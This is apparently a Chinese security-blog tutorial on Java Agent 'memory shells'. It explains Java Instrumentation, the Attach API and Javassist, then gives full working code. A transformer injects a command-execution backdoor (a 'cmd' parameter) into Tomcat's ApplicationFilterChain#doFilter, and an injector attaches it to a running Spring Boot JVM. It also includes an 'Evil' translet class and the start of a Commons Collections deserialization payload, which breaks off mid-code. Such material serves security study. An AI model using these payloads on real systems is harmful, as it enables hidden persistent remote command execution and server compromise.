内存马系列 - Agent型
参考文章:
- https://medium.com/nerd-for-tech/what-is-a-java-agent-and-what-is-it-for-7a7896729c76
- Java安全学习——内存马 - 枫のBlog
- Java 内存马第四篇 - Agent 内存马 | xvsf
- [Java安全-Java Agent内存马 - huangdi’s blog](https://huang-d1.github.io/2025/10/22/Java安全-Java Agent内存马/)
- Java Agent 内存马学习 | Drunkbaby’s Blog
- JavaWeb 内存马一周目通关攻略 | 素十八
- Agent内存马 | CurlySean’s Blog
什么是Java Agent?
它们本质上是 Java 库,其中包含实现 Java Instrumentation API 的类。该 API 自 JDK 1.5 起可用。这是一个非常简单但功能强大的 API,它为应用程序检测奠定了基础。
该检测工具的主要功能在于允许我们向特定类中添加代码。通过添加这些代码,我们可以重新编译数据,主要用于监控、分析或事件日志记录。这使我们能够获取有关应用程序的关键信息,从而帮助我们解决问题或获取原本无法获取的数据。
Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。
该检测API的主要特点是能够修改虚拟机jvm正在执行的类的字节码。通过这种修改,我们将进而动态地修改已加载或未加载的类、属性和方法
对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图:
premain-Agent

agentmain-Agent

Java Agent示例
premain-Agent
首先我们必须实现 premain 方法,同时我们 jar 文件的清单(mainfest)中必须要含有 Premain-Class 属性
我们可在命令行利用 -javaagent 来实现启动时加载。
premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法
我们首先来实现一个简单的
premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent,创建的类需要实现 premain 方法1
2
3
4
5
6
7
8
9import java.lang.instrument.Instrumentation; public class Java_Agent_premain { public static void premain(String args, Instrumentation inst) { for (int i =0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!"); } } }接着在
resource/META-INF/下创建agent.MF清单文件用以指定premain-Agent的启动类1
2Manifest-Version: 1.0 Premain-Class: Java_Agent_premain在.mf文件的最后,一定要有空行!!!
接着创建一个目标类
1
2
3
4
5public class Hello { public static void main(String[] args) { System.out.println("Hello World!"); } }同样,创建对应的 mf 启动项,取名为
hello.mf1
2Manifest-Version: 1.0 Main-Class: Hello先生成class文件,接着用 jar 命令来打包,此时并指定启动项。运行完命令之后将会生成 agent.jar 文件
分别将class文件放在classes文件夹
jar包放在dist文件夹
1
2javac src/main/java/Java_Agent_premain.java jar cvfm dist/agent.jar src/main/resources/META-INF/agent.mf -C classes Java_Agent_premain.class同样的打包方式
1
2javac src/main/java/Hello.java jar cvfm dist/hello.jar src/main/resources/META-INF/hello.mf -C classes Hello.class至此我们的准备工作已经做完了,最终得到了 agent.jar 和 hello.jar
接下来我们只需要在
java -jar中添加-javaagent:agent.jar即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数1
java -javaagent:agent.jar -jar hello.jar
目录如下

agentmain-Agent
agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。
premain方法在JDK1.5中提供,在JDK版本为1.5时,开发者只能在main加载之前添加手脚,但是对于大部分内存马注入时,都是JVM已经运行的情况下。
在JDK1.6中实现了attach-on-demand,我们可以使用AttachAPI动态的加载Agent,agentmain能够在JVM启动后加载并实现相应的修改字节码的功能。
AttachAPI在tool.jar中,而JVM启动时默认不加载该依赖,需要我们在classpath中额外进行指定
VirtualMachine类
com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法
(PID 就是“进程 ID”(Process Identifier))
1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
//获得当前所有的JVM列表
VirtualMachine.list()
//解除与特定JVM的连接
VirtualMachine.detach()VirtualMachineDescriptor类
com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
1
2
3
4
5
6
7
8
9
10
<dependencies>
<!-- https://mvnrepository.com/artifact/com.sun/tools -->
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0_65</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar</systemPath>
</dependency>
</dependencies> <systemPath>xxxx</systemPath>这里面的内容要看你具体的java对应版本的存放路径
也可以使用环境变量方式的写法,因为我这里环境配置的不是这个版本的jdk,我就这么弄了,大家可以自行选择
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class get_PID {
public static void main(String[] args) {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("org.example.get_PID"))//里面的东西要写 完整的类名
System.out.println(vmd.id());
}
}
}
实现 agentmain-Agent
编写一个
Sleep_Hello类,模拟正在运行的 JVM1
2
3
4
5
6
7
8
9
10
11import static java.lang.Thread.sleep; public class SleepHello { public static void main(String[] args) throws InterruptedException { while(true){ System.out.println("hello"); sleep(5000); } } }编写JavaAgentAgentmain
1
2
3
4
5
6
7
8
9
10
11
12
13import java.lang.instrument.Instrumentation; import static java.lang.Thread.sleep; public class JavaAgentAgentmain { public static void agentmain(String agentArgs, Instrumentation inst) throws InterruptedException { while(true){ System.out.println("agentmain-Agent"); sleep(3000); } } }配置 JavaAgentAgentmain.MF 文件
1
2
3
4
5Manifest-Version: 1.0 Agent-Class: JavaAgentAgentmain Can-Redefine-Classes: true Can-Retransform-Classes: true Can-Set-Native-Method-Prefix: true之后编译得到 Agentmain.jar
1
jar cvfm dist/Agentmain.jar src/main/resources/META-INF/JavaAgentAgentmain.mf -C classes JavaAgentAgentmain.class
编写测试类Inject_Agent,可以将agent注入到正在运行的JVM中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class InjectAgent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentInitializationException { //调用VirtualMachine.list()获取正在运行的JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); String path="C:\\Users\\95227\\Desktop\\实验室\\序列化反序列化\\复现\\Agent\\dist\\Agentmain.jar"; for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent if(vmd.displayName().contains("Sleep")){ //连接指定JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); //加载Agent virtualMachine.loadAgent(path); //断开JVM连接 virtualMachine.detach(); } } } }先运行 SleepHello.java 再运行 InjectAgent.java

动态修改字节码
Javassist
用来处理Java字节码的类库,允许在已经编译好的类中添加新的方法,或者修改已有的方法,同时也可以通过手动的方式去生成一个新的类对象
简介
Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。
类池 ClassPool
ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API 中给出的解决方案是有意识的调用 CtClass 的 detach() 方法以释放内存。
主要方法有以下几个:
- getDefault:获取默认的 ClassPool 对象。
- get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。
- makeClass:创建一个新的 CtClass 对象,用于新增类。
- insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。
- toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。
获得方法如下:
通过ClassPool.getDefault()使用JVM的类搜索路径。如果程序运行在JBoss或者Tomcat的Web服务器上,则ClassPool可能无法找到用户的类,因为Web服务器会使用多个类加载器作为系统类加载器。在这种情况下,ClassPool必须添加额外的搜索路径
1
2
3
4
//获得方法
ClassPool cp = ClassPool.getDefault();
//添加类搜索路径
cp.insertClassPath(new ClassClassPath(<Class>));CtClass
CtClass 是 Javassist 库里最核心的一个类 ,Javassist 中的一个抽象类,用于表示一个类文件。可以把它理解为“编译时类”(Compile-time Class)
当你拿到一个类的字节码(byte[]),想要修改它的代码逻辑时,直接操作二进制字节数组是非常困难的。CtClass 的作用就是把这些复杂的字节码包装成一个类似源代码的对象,让你能用类似写 Java 代码的方式去修改它。
它在内存中修改的是 Javassist 自定义的 Java 对象(即 CtClass 对象),但这些修改最终会被“翻译”成二进制字节码(Bytecode)。
获取方法:找到类里的某个函数(CtMethod)。
修改方法体:在方法执行前(insertBefore)或执行后(insertAfter)插入你的恶意代码。
添加属性:给类增加新的字段(CtField)。
转换回字节码:修改完成后,再把它变回 JVM 能认的 byte[]。
CtClass 需要关注的方法:
- freeze:冻结一个类,使其不可修改。
- isFrozen:判断一个类是否已被冻结。
- prune:删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用。
- defrost:解冻一个类,使其可以被修改。如果事先知道一个类会被 defrost , 则禁止调用 prune 方法。
- detach:将该 class 从 ClassPool 中删除。
- setSuperclass:设置当前类的父类。
- writeFile:将 CtClass 对象转换为类文件并将其写入本地磁盘。
- toClass:通过类加载器加载该 CtClass ,示例:
Class clazz = cc.toClass();。 - toBytecode:获取 CtClass 的字节码,示例:
byte[] b = cc.toBytecode();。
获取:
1
ClassPool.get(ClassName)CtMethod 和 CtField
CtMethod 和 CtField 分别代表 Java 类中的方法和字段。通过 CtClass 对象,可以获取、添加、删除或修改类中的方法和字段。这些对象提供了丰富的 API ,用于操作方法和字段的各种属性,如访问修饰符、名称、返回类型等。
CtMethod 中的一些重要方法:
- insertBefore:在方法的起始位置插入代码。
- insterAfter:在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到 exception 。
- insertAt:在指定的位置插入代码。
- setBody:将方法的内容设置为要写入的代码,当方法被 abstract 修饰时,该修饰符被移除。
- make:创建一个新的方法。
利用 CtMethod 中的 insertBefore,insterAfter,insertAt 等方法可以实现 AOP 增强功能。
通过CtClass.getDeclaredMethod(MethodName)获取,其中该类提供了一些方法可以让我们直接修改方法体,方法如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public final class CtMethod extends CtBehavior {
}
public abstract class CtBehavior extends CtMethod {
//设置方法体
public void setBody(String src);
// 插入在方法体最前面
public void insertBefore(String src);
// 插入在方法体最后面
public void insertAfter(String src);
// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);
}其中传递给insertBefore、insertAfter和insertAt的String对象是由Javassist的编译器进行编译的。该编译器支持语言的扩展,以下以$符号开头的几个标识符具有特殊的含义:
Javassist 使用
xml
1
2
3
4
5<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency>使用
javassist创建一个Person类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46import javassist.*; public class JavassistDemo { public static void CreatePerson() throws Exception{ //获取 CtClass 对象容器 ClassPool ClassPool classPool = ClassPool.getDefault(); //创建一个新类 Javassist.Person CtClass ctClass = classPool.makeClass("javassist.Person"); //创建一个 Person 类的属性 name CtField ctField1 = new CtField(classPool.get("java.lang.String"),"name", ctClass); //设置属性访问符 ctField1.setModifiers(Modifier.PRIVATE); //将属性添加到 Person中,并设置初始值 ctClass.addField(ctField1,CtField.Initializer.constant("aaa")); //向 Person 类中添加 setter 和 getter 方法 ctClass.addMethod(CtNewMethod.setter("setName",ctField1)); ctClass.addMethod(CtNewMethod.getter("getName",ctField1)); //创建一个无参构造 CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); //设置方法体 ctConstructor.setBody("{name = \"aaa\";}"); //向 Person 类中添加无参构造 ctClass.addConstructor(ctConstructor); //创建一个类方法 printName CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, ctClass); //设置方法访问符 ctMethod.setModifiers(Modifier.PUBLIC); //设置方法体 ctMethod.setBody("{System.out.println(\"Hello World\");}"); //将方法添加至 Person 中 ctClass.addMethod(ctMethod); //将生成的字节码写入文件中 ctClass.writeFile(); } public static void main(String[] args) throws Exception { System.out.println("start"); CreatePerson(); System.out.println("finish"); } }
成功创建好的
Person.class1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package javassist; public class Person { private String name = "aaa"; public void setName(String var1) { this.name = var1; } public String getName() { return this.name; } public Person() { this.name = "aaa"; } public void printName() { System.out.println("Hello World"); } }
使用Javassist生成恶意class
从字节码层面生成恶意 class ,跳过恶意类的编译过程

恶意class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception var1) {
}
}
}Instrumentation 动态修改字节码
Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
其在Java中是一个接口,常用方法如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public interface Instrumentation {
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
//获取一个对象的大小
long getObjectSize(Object objectToSize);
}获取目标JVM已加载类
Java_Agent_agentmain_Instrumentation.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import java.lang.instrument.Instrumentation; public class Java_Agent_agentmain_Instrumentation { public static void agentmain(String args, Instrumentation inst) throws InterruptedException{ Class[] classes = inst.getAllLoadedClasses(); for(Class cls : classes){ System.out.println("======================="); System.out.println("加载类:" + cls.getName()); System.out.println("是否可被修改:" + inst.isModifiableClass(cls)); } } }Instrumentation.mf
1
2
3
4
5Manifest-Version: 1.0 Agent-Class: Java_Agent_agentmain_Instrumentation Can-Redefine-Classes: true Can-Retransform-Classes: true Can-Set-Native-Method-Prefix: true创建 jar
1
jar cvfm dist/Instrumentation.jar src/main/resources/META-INF/Instrumentation.mf -C classes Java_Agent_agentmain_Instrumentation.class
使用 InjectAgent.java 测试

先运行 SleepHello.java 再运行 InjectAgent.java能够获取目标JVM已加载类

transform - 转换器
在Instrumentation接口中,我们可以通过**addTransformer()**来添加一个transformer(转换器),关键属性就是ClassFileTransformer类。
1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);ClassFileTransformer接口中只有一个**transform()**方法,返回值为字节数组,作为转换后的字节码注入到目标JVM中。

在通过 addTransformer 注册一个transformer后,每次定义或者重定义新类都会调用transformer。所谓定义,即是通过ClassLoader.defineClass加载进来的类。而重定义是通过Instrumentation.redefineClasses方法重定义的类。
当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。
转换将按以下顺序应用:
1
2
3
4
不可重转换转换器
不可重转换本机转换器
可重转换转换器
可重转换本机转换器至于transformer中对字节码的具体操作,则需要使用到Javassisit类。
Instrumentation的局限性
大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
- 新类和老类的父类必须相同
- 新类和老类实现的接口数也要相同,并且是相同的接口
- 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
- 新类和老类新增或删除的方法必须是private static/final修饰的
- 可以修改方法体
Agent 内存马注入
在正常的实际环境中,我们遇到的情况都是已经在启动中的,premain那种方法并不适合内存马的注入,因此这里我们用agentmain来进行注入内存马
如何动态修改对应类的字节码在上文中已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求
- 该方法一定会被执行
- 不会影响正常的业务逻辑
方法一
环境搭建
- SpringBoot 2.6.13
- CommonCollection 3.2.1
Springboot作为漏洞环境,搭建一个简单的反序列化环境
搭建一个反序列化环境:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29package org.example.spring_agent.agent; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ObjectInputStream; @Controller public class AgentFilter { @ResponseBody @RequestMapping("/cc") public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "Hello,World"; } @ResponseBody @RequestMapping("/demo") public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{ return "This is OK Demo!"; } }
寻找关键类
前面我们提到:
在Filter中存在doFilter方法,除了会对我们的请求进行过滤,会依次调用FilterChains中的Filter,同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回。

反序列化注入
步骤:
- 编写 agent.jar 从而实现
<font style="color:rgb(51, 51, 51);">org.apache.catalina.core.ApplicationFilterChain#doFilter</font>进行字节码修改 - 利用
CC依赖的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar
xml
配置 maven-assembly-plugin 插件以及 maven-compiler-plugin(编译插件)。
maven-assembly-plugin 插件“把依赖包(Javassist)打进 JAR”以及“指定 Agent 入口”的功能。 maven-compiler-plugin负责把 .java 变成 .class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Agent</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/com.sun/tools -->
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0_65</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<compilerArgs>
<arg>-XDignore.symbol.file</arg>
</compilerArgs>
<fork>true</fork>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<archive>
<manifestEntries>
<Agent-Class>org.example.payload2.AgentMain</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>agent.jar
AgentMain.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example.payload2;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}DefineTransformer.java:
修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可
对 transform 拦截的类进行判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改,这里我们使用 insertBefore 方法,将其插入到前面,从而减少对原程序的功能破坏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example.payload2;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}maven进行clean以及package之后得到:Agent-1.0-SNAPSHOT-jar-with-dependencies.jar及为我们需要的 agent.jar

InjectMain.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example.payload2;
public class InjectMain {
public static void main(String[] args) {
try{
java.lang.String path = "C:\\Users\\95227\\Desktop\\实验室\\序列化反序列化\\复现\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("org.example.spring_agent.SpringAgentApplication")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}
通过url将cmd参数传入后,可以看到命令执行成功
这里只是正常方式的注入,而实际环境中的大部分环境只能反序列化注入或者jsp文件注入

CC 反序列化注入
通过CC反序列化进行注入Agent内存马, 编译生成
Test.class1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61package org.example.payload2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Test extends AbstractTranslet { static { try{ java.lang.String path = "C:\\Users\\95227\\Desktop\\实验室\\序列化反序列化\\复现\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar"; java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); System.out.println("Running JVM list ..."); for(int i=0;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); java.lang.String name = (java.lang.String) displayName.invoke(o,null); // 列出当前有哪些 JVM 进程在运行 // 这里的 if 条件根据实际情况进行更改 if (name.contains("org.example.spring_agent.SpringAgentApplication")){ // 获取对应进程的 pid 号 java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); java.lang.String id = (java.lang.String) getId.invoke(o,null); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object[]{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = 